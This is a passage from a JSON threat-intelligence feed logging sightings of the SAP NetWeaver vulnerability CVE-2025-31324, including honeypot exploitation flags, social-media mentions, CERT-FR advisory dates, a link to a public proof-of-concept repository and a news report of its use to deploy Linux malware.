"2025-06-10T00:00:00Z", "date_only": false, "value": "2025-06-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-10)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "48fd9dc3-ffb5-4978-84da-16fbad06fb67"}, {"timestamp": "2025-06-10T00:00:00Z", "date_only": false, "value": "2025-06-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-10)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "25b099a3-b544-4abb-ba91-5e3043f131a4"}, {"timestamp": "2025-06-11T00:00:00Z", "date_only": false, "value": "2025-06-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "768a9d8c-5e17-4b83-b776-3fde0dba2187"}, {"timestamp": "2025-06-11T00:00:00Z", "date_only": false, "value": "2025-06-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f427a03f-964a-424b-bf06-d8be5127e07e"}, {"timestamp": "2025-06-12T00:00:00Z", "date_only": false, "value": "2025-06-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-12)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6e9031e0-cfdf-4bc1-b38d-7587c8547c70"}, {"timestamp": "2025-06-12T00:00:00Z", "date_only": false, "value": "2025-06-12T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0396", "record": "CERTFR-2025-AVI-0396", "field": "last_revision_date"}, {"timestamp": "2025-06-12T00:00:00Z", "date_only": false, "value": "2025-06-12T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0396", "record": "CERTFR-2025-AVI-0396", "field": "revisions.1.revision_date"}, {"timestamp": "2025-06-12T00:00:00Z", "date_only": false, "value": "2025-06-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-12)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a4444a68-7810-4c77-af45-dc165620e38c"}, {"timestamp": "2025-06-13T00:00:00Z", "date_only": false, "value": "2025-06-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6be2ba7d-998d-4526-a17d-407505f95e9d"}, {"timestamp": "2025-06-13T00:00:00Z", "date_only": false, "value": "2025-06-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "07eb0a83-957b-490c-b37f-217cbea4eb86"}, {"timestamp": "2025-06-14T00:00:00Z", "date_only": false, "value": "2025-06-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-14)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f58a4099-308e-496a-bdba-78fa3387545b"}, {"timestamp": "2025-06-14T00:59:45.277Z", "date_only": false, "value": "2025-06-14T00:59:45.277187Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/dasgeldco.bsky.social/post/3lrjqquhxzc2o", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9e898984-d3b5-446e-a3c0-9d462351515b", "url": "https://bsky.app/profile/dasgeldco.bsky.social/post/3lrjqquhxzc2o"}, {"timestamp": "2025-06-14T01:00:07.801Z", "date_only": false, "value": "2025-06-14T01:00:07.801038Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/eldinerolat.bsky.social/post/3lrjqrjyint2f", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "db3dad1c-0a7e-44c1-8931-39318058c133", "url": "https://bsky.app/profile/eldinerolat.bsky.social/post/3lrjqrjyint2f"}, {"timestamp": "2025-06-15T00:00:00Z", "date_only": false, "value": "2025-06-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-15)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a6294f2b-c82d-4ad3-8763-7e647131dd11"}, {"timestamp": "2025-06-15T02:27:52.126Z", "date_only": false, "value": "2025-06-15T02:27:52.126140Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lrmg5ahaz225", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "92893e7e-8f13-4834-bdd5-480251f4bee7", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lrmg5ahaz225"}, {"timestamp": "2025-06-16T00:00:00Z", "date_only": false, "value": "2025-06-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-16)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "349b5390-947e-4fe4-b654-fd3a86beb3ba"}, {"timestamp": "2025-06-16T15:49:11Z", "date_only": false, "value": "2025-06-16T15:49:11.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/35c3a542-1628-58d2-8468-af810401d9eb", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d1f25f1f-0948-458a-9c92-13f617f292f2"}, {"timestamp": "2025-06-17T00:00:00Z", "date_only": false, "value": "2025-06-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-17)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "20508c5f-fd09-4c17-b5e0-304bc65c9256"}, {"timestamp": "2025-06-18T00:00:00Z", "date_only": false, "value": "2025-06-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c126d54c-49dd-46e5-be41-12638c82883f"}, {"timestamp": "2025-06-18T00:00:00Z", "date_only": false, "value": "2025-06-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e74bc288-8564-48fe-bdb6-d18c759e3616"}, {"timestamp": "2025-06-18T18:59:08Z", "date_only": false, "value": "2025-06-18T18:59:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/40987", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ce702806-badb-460c-b512-d1cefd49685f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aSAP NetWeaver Visual Composer Metadata Uploader 7.50 CVE-2025-31324 PoC\nURL\uff1ahttps://github.com/sug4r-wr41th/CVE-2025-31324\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/40987"}, {"timestamp": "2025-06-19T00:00:00Z", "date_only": false, "value": "2025-06-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-19)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9aefdc90-604f-44b2-82dd-e061e3095f67"}, {"timestamp": "2025-06-20T05:14:11.422Z", "date_only": false, "value": "2025-06-20T05:14:11.422557Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/dasgeldco.bsky.social/post/3lrzbreaewm2u", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "639c2804-756f-4545-892b-9853d5467366", "url": "https://bsky.app/profile/dasgeldco.bsky.social/post/3lrzbreaewm2u"}, {"timestamp": "2025-06-20T05:14:39.509Z", "date_only": false, "value": "2025-06-20T05:14:39.509496Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/eldinerolat.bsky.social/post/3lrzbs6z6ag27", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "df4b2ea4-f078-4614-8e93-e246862b4963", "url": "https://bsky.app/profile/eldinerolat.bsky.social/post/3lrzbs6z6ag27"}, {"timestamp": "2025-06-21T00:00:00Z", "date_only": false, "value": "2025-06-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-21)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8f2131f5-282c-4d72-9ba3-50768ee94975"}, {"timestamp": "2025-06-23T00:00:00Z", "date_only": false, "value": "2025-06-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-23)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0d044c1b-37a3-47cf-908b-7754d4a16243"}, {"timestamp": "2025-06-24T00:00:00Z", "date_only": false, "value": "2025-06-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-24)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "bb97300b-19e5-4743-a761-5f2eb6da175b"}, {"timestamp": "2025-06-24T00:00:00Z", "date_only": false, "value": "2025-06-24T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_alerte \u00b7 CERTFR-2025-ALE-005", "record": "CERTFR-2025-ALE-005", "field": "last_revision_date"}, {"timestamp": "2025-06-24T00:00:00Z", "date_only": false, "value": "2025-06-24T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2025-ALE-005", "record": "CERTFR-2025-ALE-005", "field": "revisions.1.revision_date"}, {"timestamp": "2025-06-24T00:00:00Z", "date_only": false, "value": "2025-06-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-24)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2be17a00-297f-48c1-8ec3-44c6c7f47dd0"}, {"timestamp": "2025-06-25T00:00:00Z", "date_only": false, "value": "2025-06-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-25)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "40727f43-9991-47da-833a-feb83a192f83"}, {"timestamp": "2025-06-26T00:00:00Z", "date_only": false, "value": "2025-06-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-26)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "492b21fe-bd5d-4b3f-a923-0dd471cf9a0a"}, {"timestamp": "2025-06-27T00:00:00Z", "date_only": false, "value": "2025-06-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-27)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "53d73947-1b49-4719-8907-133c7c63cad0"}, {"timestamp": "2025-06-28T00:00:00Z", "date_only": false, "value": "2025-06-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-28)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4a113951-a086-49de-8891-76de03f5e606"}, {"timestamp": "2025-06-29T00:00:00Z", "date_only": false, "value": "2025-06-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-29)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ebda39a7-4e51-425a-a133-8b9b756bfeb8"}, {"timestamp": "2025-06-30T00:00:00Z", "date_only": false, "value": "2025-06-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fa380777-44e9-4cf8-b404-c952fc401ed0"}, {"timestamp": "2025-07-01T00:00:00Z", "date_only": false, "value": "2025-07-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-01)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "eac40351-c501-4f04-9255-1c06dcbaf58d"}, {"timestamp": "2025-07-02T00:00:00Z", "date_only": false, "value": "2025-07-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-02)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c824c546-aee4-42b2-a243-8fc5403b0bad"}, {"timestamp": "2025-07-03T00:00:00Z", "date_only": false, "value": "2025-07-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-03)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2ced2047-d8bf-43bc-b0dc-0315edc1796d"}, {"timestamp": "2025-07-03T00:00:00Z", "date_only": false, "value": "2025-07-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-03)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e3d73bf7-7871-4603-b79f-44a197ed2127"}, {"timestamp": "2025-07-04T00:00:00Z", "date_only": false, "value": "2025-07-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a93f39ec-a483-4880-9a44-c78653aad86b"}, {"timestamp": "2025-07-04T00:00:00Z", "date_only": false, "value": "2025-07-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "65370618-a2ce-4f95-aec4-4cca0e1db6a3"}, {"timestamp": "2025-07-06T00:00:00Z", "date_only": false, "value": "2025-07-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-06)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "886ddfd6-dcd2-4fc7-888a-e98df72def42"}, {"timestamp": "2025-07-08T00:00:00Z", "date_only": false, "value": "2025-07-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-08)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7186d713-ecef-44db-bfb1-1e7880788250"}, {"timestamp": "2025-07-09T00:00:00Z", "date_only": false, "value": "2025-07-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-09)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "819ee537-8ed4-4fa7-9132-a0480cae6f67"}, {"timestamp": "2025-07-10T00:00:00Z", "date_only": false, "value": "2025-07-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-10)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1c99c059-1472-4bff-a6cc-314c6327dcd6"}, {"timestamp": "2025-07-11T00:00:00Z", "date_only": false, "value": "2025-07-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "baad91e3-f2e9-4cc3-9309-34c5bfff55ee"}, {"timestamp": "2025-07-12T00:00:00Z", "date_only": false, "value": "2025-07-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-12)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c44ffb5c-13df-4e3f-ae8d-bd20e5b6993a"}, {"timestamp": "2025-07-12T00:00:00Z", "date_only": false, "value": "2025-07-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-12)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "949ad8f2-ea5f-4d53-8374-a474d3ec041d"}, {"timestamp": "2025-07-13T00:00:00Z", "date_only": false, "value": "2025-07-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "10292b7d-5d27-4ec6-a3cf-4130615e13e6"}, {"timestamp": "2025-07-14T00:00:00Z", "date_only": false, "value": "2025-07-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-14)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b50e71b6-9688-4de3-9355-2c57f3481972"}, {"timestamp": "2025-07-14T17:41:14.880Z", "date_only": false, "value": "2025-07-14T17:41:14.880622Z", "kind": "sighting", "label": "Seen", "source": "https://swecyb.com/users/nopatience/statuses/114852814288918725", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "6310cf39-d4a0-43a2-8338-508c759c9db6", "url": "https://swecyb.com/users/nopatience/statuses/114852814288918725"}, {"timestamp": "2025-07-14T17:45:06.812Z", "date_only": false, "value": "2025-07-14T17:45:06.812009Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cstromblad.com/post/3ltwwq2umwal2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f0f77a8d-e4e1-433b-a448-b5d0e9d1ea61", "url": "https://bsky.app/profile/cstromblad.com/post/3ltwwq2umwal2"}, {"timestamp": "2025-07-17T00:00:00Z", "date_only": false, "value": "2025-07-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-17)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8c34e691-80dc-4ac2-b722-0f1cd622b9d6"}, {"timestamp": "2025-07-21T00:00:00Z", "date_only": false, "value": "2025-07-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-21)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "97a13f02-4891-45f6-a082-9e5713d45360"}, {"timestamp": "2025-07-22T00:00:00Z", "date_only": false, "value": "2025-07-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-22)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "86f821f0-85c9-4206-90b4-5a2f6dc98121"}, {"timestamp": "2025-07-29T13:43:57.687Z", "date_only": false, "value": "2025-07-29T13:43:57.687708Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackread.bsky.social/post/3lv4agqexfk2v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "109076d8-0fa7-40ba-963f-41e06244ceae", "url": "https://bsky.app/profile/hackread.bsky.social/post/3lv4agqexfk2v"}, {"timestamp": "2025-07-29T14:39:04.201Z", "date_only": false, "value": "2025-07-29T14:39:04.201049Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lv4djdm4f62q", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3c4efe68-9b89-428a-a68a-53e4ca3317c4", "url": "https://bsky.app/profile/bluesky.awakari.com/post/3lv4djdm4f62q"}, {"timestamp": "2025-07-29T15:35:32.741Z", "date_only": false, "value": "2025-07-29T15:35:32.741090Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/technadu.com/post/3lv4gnw7ga22y", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "44f23ebd-eca2-4f9f-a604-7508261dd21a", "url": "https://bsky.app/profile/technadu.com/post/3lv4gnw7ga22y"}, {"timestamp": "2025-07-29T16:11:00.556Z", "date_only": false, "value": "2025-07-29T16:11:00.556906Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3lv4inqycdg2k", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ab10e832-e02d-426b-94e3-69a02eb8d574", "url": "https://bsky.app/profile/bleepingcomputer.com/post/3lv4inqycdg2k"}, {"timestamp": "2025-07-29T16:20:08.481Z", "date_only": false, "value": "2025-07-29T16:20:08.481095Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cosmicmeta.bsky.social/post/3lv4j5zve6g23", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "54c4b56a-7611-4592-a1c5-0992e8ec7550", "url": "https://bsky.app/profile/cosmicmeta.bsky.social/post/3lv4j5zve6g23"}, {"timestamp": "2025-07-29T16:28:47.474Z", "date_only": false, "value": "2025-07-29T16:28:47.474164Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lv4jnjqq3n26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1f9c1b3a-03cf-4584-b60d-43ed05e382fb", "url": "https://bsky.app/profile/nimblenerd.social/post/3lv4jnjqq3n26"}, {"timestamp": "2025-07-29T17:14:28.114Z", "date_only": false, "value": "2025-07-29T17:14:28.114137Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lv4m7a6lnd2v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3ad8dd31-90df-4c07-b40f-43fad144bace", "url": "https://bsky.app/profile/bluesky.awakari.com/post/3lv4m7a6lnd2v"}, {"timestamp": "2025-07-29T17:14:32.132Z", "date_only": false, "value": "2025-07-29T17:14:32.132360Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3lv4m7bxy5uo2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a8b7bdb1-c278-45d6-bcbf-31d093fed089", "url": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3lv4m7bxy5uo2"}, {"timestamp": "2025-07-29T17:16:07.996Z", "date_only": false, "value": "2025-07-29T17:16:07.996729Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3lv4mbkk5uyo2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "32fe656a-f75b-4ca5-be80-29ef3373d27c", "url": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3lv4mbkk5uyo2"}, {"timestamp": "2025-07-29T17:17:41Z", "date_only": false, "value": "2025-07-29T17:17:41.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/BleepingComputer/22638", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e565003b-4ca8-4068-9d07-17dfc5d9e840", "content": "\u200aHackers exploit SAP NetWeaver bug to deploy Linux Auto-Color malware\n\nHackers were spotted exploiting a critical SAP NetWeaver vulnerability tracked as CVE-2025-31324 to deploy the Auto-Color Linux malware in a cyberattack on a U.S.-based chemicals company. [...]\n\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-sap-netweaver-bug-to-deploy-linux-auto-color-malware/", "url": "https://t.me/BleepingComputer/22638"}, {"timestamp": "2025-07-29T17:30:35.779Z", "date_only": false, "value": "2025-07-29T17:30:35.779020Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/brianhaddock.bsky.social/post/3lv4n422vfs2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "deeb6d02-3fb4-440f-af5d-435cbfff316a", "url": "https://bsky.app/profile/brianhaddock.bsky.social/post/3lv4n422vfs2c"}, {"timestamp": "2025-07-30T08:32:36.671Z", "date_only": false, "value": "2025-07-30T08:32:36.671040Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lv67ixzwmf27", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1a1c2b83-d1d6-4e91-88f9-5611ed08e4e0", "url": "https://bsky.app/profile/securityrss.bsky.social/post/3lv67ixzwmf27"}, {"timestamp": "2025-07-30T08:38:18.776Z", "date_only": false, "value": "2025-07-30T08:38:18.776879Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lv67t6byuw2m", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "22985ffd-22b7-4c5b-8bde-b265f7f0eeb3", "url": "https://bsky.app/profile/nimblenerd.social/post/3lv67t6byuw2m"}, {"timestamp": "2025-07-30T09:12:12.246Z", "date_only": false, "value": "2025-07-30T09:12:12.246969Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/malwhere.bsky.social/post/3lv6bpeufyk2w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ac7a4e24-3f77-4f89-8370-b044e533ea1d", "url": "https://bsky.app/profile/malwhere.bsky.social/post/3lv6bpeufyk2w"}, {"timestamp": "2025-07-30T09:13:43.485Z", "date_only": false, "value": "2025-07-30T09:13:43.485043Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/malwhere.bsky.social/post/3lv6bshud222w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ca4e6a05-1930-4546-8c24-3f768ad9937c", "url": "https://bsky.app/profile/malwhere.bsky.social/post/3lv6bshud222w"}, {"timestamp": "2025-07-30T09:14:13.539Z", "date_only": false, "value": "2025-07-30T09:14:13.539681Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/malwhere.bsky.social/post/3lv6btdjde22w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2333fab8-639d-48c5-903e-ca04672971df", "url": "https://bsky.app/profile/malwhere.bsky.social/post/3lv6btdjde22w"}, {"timestamp": "2025-07-30T10:00:54.839Z", "date_only": false, "value": "2025-07-30T10:00:54.839526Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lv6eguy4e22v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f940cf4f-96b2-4dd6-ab1a-b24e988f39ee", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lv6eguy4e22v"}, {"timestamp": "2025-07-30T12:56:15.302Z", "date_only": false, "value": "2025-07-30T12:56:15.302640Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lv6oafuyqc2v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6fda7633-e22d-498e-833b-7d99bf93cc78", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lv6oafuyqc2v"}, {"timestamp": "2025-07-31T00:00:00Z", "date_only": false, "value": "2025-07-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-31)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "867c756b-47f6-4818-8295-25d50d1b8ab5"}, {"timestamp": "2025-07-31T01:25:08.317Z", "date_only": false, "value": "2025-07-31T01:25:08.317684Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/harmonic-osc.bsky.social/post/3lv7y3gf4vk2h", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4f52e804-c473-427d-82c6-9d93926e1c2b", "url": "https://bsky.app/profile/harmonic-osc.bsky.social/post/3lv7y3gf4vk2h"}, {"timestamp": "2025-07-31T02:27:15.638Z", "date_only": false, "value": "2025-07-31T02:27:15.638531Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lva3km4r5v2t", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e6baa223-eff8-4180-9566-616c88139bc2", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lva3km4r5v2t"}, {"timestamp": "2025-07-31T12:29:06.428Z", "date_only": false, "value": "2025-07-31T12:29:06.428899Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3lvb56pj7s22s", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "47492c57-47ec-44ef-8606-e480abb35c97", "url": "https://bsky.app/profile/jbhall56.bsky.social/post/3lvb56pj7s22s"}, {"timestamp": "2025-07-31T20:01:28.707Z", "date_only": false, "value": "2025-07-31T20:01:28.707289Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lvbwhlvj622y", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3d58ba0e-68a8-4abf-9758-0a2160954c52", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lvbwhlvj622y"}, {"timestamp": "2025-08-01T00:02:52Z", "date_only": false, "value": "2025-08-01T00:02:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://threatintel.cc/2025/07/31/autocolor-backdoor-how-darktrace-thwarted.html", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "156505fb-6fb6-4f71-a578-675b59d3fde6", "url": "https://threatintel.cc/2025/07/31/autocolor-backdoor-how-darktrace-thwarted.html"}, {"timestamp": 